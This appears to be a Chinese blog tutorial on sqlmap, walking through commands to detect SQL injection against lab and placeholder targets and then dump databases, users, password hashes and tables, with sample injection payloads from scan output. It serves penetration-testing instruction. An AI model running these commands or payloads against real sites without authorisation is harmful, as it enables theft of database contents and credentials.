了解SQLmap
基础操作
SQLmap
是一款自动化的SQL
注入工具,可以用于检测和利用SQL注入漏洞。
以下是SQLmap
的入门操作步骤:
SQLmap
:可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。SQLmap
所在的目录。SQLmap
:python sqlmap.py -u <目标URL>
其中,<;目标URL
>;是指要测试的网站的URL
地址。
SQLmap
会自动检测目标网站是否存在SQL
注入漏洞,并给出测试结果。SQLmap
检测到目标网站存在SQL
注入漏洞,可以使用以下命令利用漏洞:python sqlmap.py -u <目标URL> --dbs
这个命令将会列出目标网站的所有数据库。
python sqlmap.py -u <目标URL> -D <数据库名> -T <表名> --dump
其中,<;数据库名>;和<;表名>;是指要获取数据的数据库和表的名称。
功能
虽然没有官方的图形化界面,但是市面上有很多个人做的图形化插件,如果实在不熟悉命令行可以考虑换成图形化插件进行使用。
SQLMap
是一个自动化的SQL
注入工具,其主要功能包括:
URL
的SQL
注入漏洞。MySQL
、Oracle
、PostgreSQL
、Microsoft SQL Server
、Microsoft Access
、IBM DB2
、SQLite
、Firebird
、Sybase
和SAP MaxDB
。HTTP
代理,可以在使用代理时进行注入测试。HTTP
头和Cookie
。waf
、ips
、ids
检查和绕开,采用代理实现隐藏注入jie
哈希口令使用SQLmap
软件安装
在kali Linux
和Windows
环境中都有,kali
是自带SQLmap
的
基础操作
SQLmap --v //显示版本信息
SQLmap -h //帮助
SQLmap -hh //详细帮助
-level=LEVEL //水平1-5,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。
--risk=RISK //风险1-3,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。
默认扫完后会把信息存储在more /root/.sqlmap/output/192.168.199.153/log 这个目录下,这是一个隐藏文件夹
GET注入原理
SQLmap
是一款自动化SQL
注入工具,可以用于检测和利用Web
应用程序中的SQL
注入漏洞。
它可以通过GET
或POST
请求向Web
应用程序发送恶意请求,以检测是否存在SQL
注入漏洞。
以下是SQLmap
进行GET
注入的原理:
SQLmap
会向目标URL
发送一个GET
请求,同时在URL
中注入恶意代码。SQL
注入漏洞,则数据库会执行恶意代码,并将结果返回给应用程序。SQLmap
会分析返回的结果,以确定是否存在SQL
注入漏洞。以下是一个使用SQLmap
进行GET
注入的示例命令:
sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch
初级扫描方案
探测是否存在sql
注入漏洞
对于不用登录的网站,直接指定其URL
sqlmap -u "http://xxx/Less-1/?id=1"
直接扫到数据库类型为mysql
数据库(输入y继续):
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
我们也可以使用一个参数--batch
,这个参数可以省去SQLmap
询问,直接选择默认项,例如上面的扫描语句可以写成:
sqlmap -u "http://xxx/Less-1/?id=1" --batch
扫描出id部分存在boolean
盲注:
GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
扫描完成后,sqlmap
给出了一些验证漏洞的payload
信息:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
Payload: id=1' OR SLEEP(5)#
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -
扫描结果:
[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6
对于需要登录的网站,我们需要指定其cookie
我们可以用账号密码登录,然后用bp
抓取其cookie
填入
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --cookie="抓取的cookie"
对于是post
提交数据的URL
,我们需要指定其data
参数
sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"
更便捷的做法:通过抓取http
数据包保存为文件
这样,我们就不用指定其他参数,这对于需要登录的网站或者post
提交数据的网站很方便
如下,我们保存网站的访问数据包为data.txt
文件:
sqlmap -r data.txt -p id
可以看到,我的网站存在防CSRF
公鸡,SQLmap
注入失败
查看数据库信息
查看数据库的所有用户:
sqlmap -u "http://xxx/Less-1/?id=1" --users
查看数据库所有用户名的密码
sqlmap -u "http://xxx/Less-1/?id=1" --passwords
查看数据库当前用户
sqlmap -u "http://xxx/Less-1/?id=1" --current-user
扫到当前用户信息:
current user: 'sqlilabs@localhost!'
判断当前用户是否有管理权限:
sqlmap -u "http://xxx/Less-1/?id=1" --is-dba
当前用户是不是root
用户:
current user is DBA: False
列出数据库管理员角色:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles
查看所有的数据库:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs
查看当前的数据库:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db
得到当前数据库信息:
(03:25:33] [INFO] fetching currentdatabasecurrent database: 'security'
爆出指定数据库(securty)
中的所有的表:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables
得到所有表的信息
爆出指定数据库指定表中的所有的列:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns
爆出指定数据库指定表指定列下的数据:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump
爆出该网站数据库中的所有数据:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
举例如下:
基本语法:
SQLmap
是一款自动化SQL
注入工具,可以用于检测和利用SQL
注入漏洞。以下是SQLmap
的基本语法:
sqlmap [options]
其中,options
包括:
-u
:指定目标URL
。
--data
:指定POST
请求的数据。
--cookie
:指定cookie
。
--level
:指定测试的等级(1-5)。
--risk
:指定测试的风险等级(0-3)。
--dbs
:获取所有数据库。
--current-db
:获取当前数据库。
--tables
:获取指定数据库中的所有表。
--columns
:获取指定表中的所有列。
--dump
:获取指定表中的所有数据。
-v
:指定详细程度(0-6)。
以下是两个SQLmap
的例子:
1.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
2.获取指定表中的所有列
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
如果您喜欢这篇文章,请点赞、分享以支持作者,这会鼓励我们继续创作更多优质的内容。您的每一次支持都是我们前进的动力,感谢您的关注和支持!